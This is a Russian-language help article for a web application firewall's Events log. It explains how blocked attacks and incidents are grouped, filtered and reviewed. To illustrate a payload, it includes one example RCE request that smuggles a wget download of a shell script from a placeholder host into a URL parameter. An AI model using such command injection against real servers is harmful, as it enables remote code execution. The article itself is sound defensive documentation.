События. Посмотреть историю атак на приложение

Последние изменения: 21.04.2023

Что за функция
Зачем нужна

Как пользоваться

        • Открыть список событий
        • Отфильтровать
        • Отметить легальные запросы

Что такое События

Раздел События — журнал, где хранится информация обо всех вредоносных запросах к вашим ресурсам, которые отразил файрвол веб-приложений (WAF). Так выглядит журнал:

0528ea64bbaf58716576622fa45d4796.png

Каждая строка в журнале называется событием. Событие — это один вредоносный запрос либо несколько таких запросов, связанных между собой. Например, если взломщик отправляет один запрос, чтобы внедрить вредоносный код в структуру XML-документа, то журнал покажет это как отдельное событие. А если взломщик сделал тысячу запросов с подбором пароля, в журнале они будут сгруппированы в одно событие с типом атаки «брутфорс». Такое событие вы можете раскрыть и посмотреть информацию по каждому из тысячи запросов.

WAF группирует отдельные запросы в событие, если у них совпадают одновременно три вещи:

  • Тип атаки — sqli, xss, rce, ptrav, crlf, nosqli, overlimit_res, xxe, ldapi, scanner, ssti, ssi, mail_injetion, invalid_xml, data_bomb, dirbust, brute, vpatch, infoleak либо redir,

  • Пэйлоад — часть вредоносного запроса, которая содержит указания, какие действия должны быть выполнены в атакуемом приложении.
    Пример: злоумышленник хочет внедрить вредоносный код в ваше приложение (RCE-атака) и делает запрос: curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh. Вредоносный пэйлоад здесь — ;wget+http://s. Он указывает, что в приложении нужно начать скачивание данных.
    Обратите внимание: пэйлоад присутствует не во всех вредоносных запросах, в поведенческих атаках (разные виды брутфорсов) пэйлоада нет.

  • Адрес страницы или файла приложения, на который отправлен запрос.

При этом IP-адрес атакующего и время запросов могут отличаться. Даже если запросы отправлены с разных IP-адресов и в разные дни, но у них совпадают тип атаки, пэйлоад и адрес атаки, такие атаки будут объединены в одно событие. 
baee0b8954100d84c2a39f346c7dd1d0.png
Все события в журнале разделены на два типа: атаки и инциденты.

Атака — любой вредоносный запрос.

Не все события типа атака действительно страшны. Некоторые вредоносные запросы не способны нанести урон, потому что нацелены на хорошо защищённые части приложения. С такими запросами приложение бы справилось даже без WAF. А вот другие представляют реальную угрозу, потому что нацелены на уязвимые места — если бы WAF не остановил их, они нанесли бы урон приложению. Это и есть инциденты.

Инцидент — вредоносный запрос, который нацелен на уязвимое место приложения.

Как только поступает вредоносный запрос, WAF блокирует его и создаёт событие типа атака. Затем WAF анализирует, был это запрос к уязвимой части приложения или к хорошо защищённой. Если к уязвимой, создаёт ещё одно событие с типом инцидент; если к защищённой — ничего не делает.

Как WAF находит уязвимости:

  1. Время от времени отправляет разные тестовые вредоносные запросы, чтобы проверить реакцию приложения. Такие запросы безвредны, но помогают узнать, как приложение повело бы себя в случае реальной атаки.

  2. Когда происходит реальная атака, WAF блокирует её. Затем WAF копирует атакующий запрос, а дальше от своего имени отправляет приложению несколько аналогичных запросов, вырезав их них вредоносную часть и куки. Эти запросы не навредят, но помогут узнать, как приложение отреагировало бы на атаку, не останови её WAF.

  3. Оценивает результат проверок из шагов №1 и №2. Если цель запросов достигнута, WAF считает, что уязвимость есть. Если в ответе приложения нет признаков того, что оно уязвимо к атаке — уязвимости нет.

Пример проверки: злоумышленник отправил вредоносный запрос типа «небезопасное перенаправление» (redir) — такая атака переписывает ссылки в вашем приложении, чтобы при клике на неё пользователь попадал на страницу мошенника. WAF фиксирует атакующий запрос, вырезает из него куки и вредоносную часть, а затем отправляет приложению несколько таких «обезвреженных» запросов от своего имени. Если приложение не отклоняет запросы, WAF засчитывает это за уязвимость; если приложение блокирует запросы, WAF считает, что уязвимости нет.

Зачем просматривать События

События покажут подробную информацию о вредоносных запросах, поступающих к вашему приложению. Приводим три примера, когда это может пригодиться.

Найти и устранить уязвимости. Вы открываете события типа «инцидент» и видите, какие части приложения уязвимы и к каким типам атак. Затем устраняете эти уязвимости.

Предотвратить атаки от конкретных мошенников. Открыв журнал событий, вы проверяете, подвергается ли приложение атакам из конкретного региона или с конкретного IP. Такие вредоносные запросы сами по себе не несут вред, но ваш сервер вынужден их обрабатывать и тратить на это ресурсы. Чтобы освободить ресурсы сервера, вы исключаете атакующие IP или регион, откуда часто приходят атаки, в Настройках доступа по инструкции «Политика доступа к ресурсу».

Собрать данные аналитики для защиты непубличной части приложения. Анализируя журнал вредоносных запросов, вы делаете вывод о том, какие методы атак чаще всего применяют и с каких IP вас атакуют. Учитывая это, организуете внутренние ресурсы, которые не защищает WAF (например, панель администрирования приложением или непубличная платформа для сотрудников), так, чтобы они были защищены от часто встречающихся видов атак. Также блокируете IP мошенников, с которых часто приходят вредоносные запросы.

Как пользоваться Событиями

Открыть список событий

Перейдите в События и выберите, какие события хотите увидеть — инциденты или атаки. Откроется список событий.

c1d1b8778a74663e3b03534253d3e642.png

В этом списке отображены следующие столбцы:

  • Дата — дата поступления запроса из события.

  • Хиты — количество отдельных запросов (один хит — один запрос), сгруппированных внутри события.

  • Пэйлоад — тип атаки, который использовал злоумышленник.

  • Топ IP / Источник — код страны, к которой относится IP-адрес атакующего, и сами IP-адреса. Если адресов несколько, в столбце отображается код страны, откуда запрос повторялся чаще.

  • Домен / Путь — домен приложения, к которому был направлен запрос, а также путь, который запрашивался. В последней строке указан ID приложения из личного кабинета EdgeЦентр.

  • Код ответа — код, с которым приложение ответило на вредоносный запрос.

  • Параметр — параметр, который содержал вредоносный запрос. Если в запросе использована атака без эндопоинта (например, брутфорс) — в строке будет стоять значение unknown.

Вы можете посмотреть подробности события, нажав на значок + слева от даты. По каждому запросу вы увидите общую информацию: дата, пэйлоад, топ IP/источник, домен/путь, код ответа, параметр. Также будут два дополнительных столбца: размер запроса и время, которое WAF затратил на обработку запроса.

Применить фильтры

Чтобы отсортировать события, воспользуйтесь фильтрами.

65efd34c05076b9c7bdcb661d05dea60.jpg

Выбранные типы — типы атак. В WAF доступно двадцать типов: sqli, xss, rce, ptrav, crlf, nosqli, overlimit_res, xxe, ldapi, scanner, ssti, ssi, mail_injetion, invalid_xml, data_bomb, dirbust, brute, vpatch, infoleak, redir.

Временной промежуток — период, за который вы хотите посмотреть события. Максимум можно посмотреть события за последние три месяца, более старые не сохраняются.

Приложения — приложения, вредоносные запросы к которым хотите увидеть. Если не применить фильтр, будут отображаться запросы ко всем приложениям, которые есть в аккаунте.

IP — IP, запросы от которых нужно вывести на экран. Можно указать конкретные IP или диапазон адресов в формате 10.0.0.0 — 10.255.255.255. Если не применить фильтр, вы увидите события с запросами от любых IP.

Домены — адреса страниц или файлов, которые запрашивались злоумышленниками. Если не использовать фильтр, вы увидите события, связанные с запросами ко всем вашим доменам.

Код ответа — коды ответов, с которыми приложение ответило на вредоносный запрос. Если не использовать фильтр, будут отображаться только запросы, на которые приложение ответило ошибками 403 и 500.

Цель — цели вредоносных запросов. Вы можете отфильтровать атаки, нацеленные на пользовательские данные (цель называется сlient), базы данных (цель database) или сервер (цель server). Если ничего не выбрать, будут показаны запросы ко всем трём целям.

Выбранные страны — страны, запросы из которых вас интересуют. Если не использовать фильтр, отобразятся запросы из 249 стран.

Отметить легальные запросы

Если WAF заблокировал легальный запрос, нажмите значок + в строке события, а затем — кнопку Отметить как допустимое событие. WAF перестанет блокировать такие запросы.

d8d016ca1091396b9a3cb41005d9fd58.png

Помогла ли вам статья?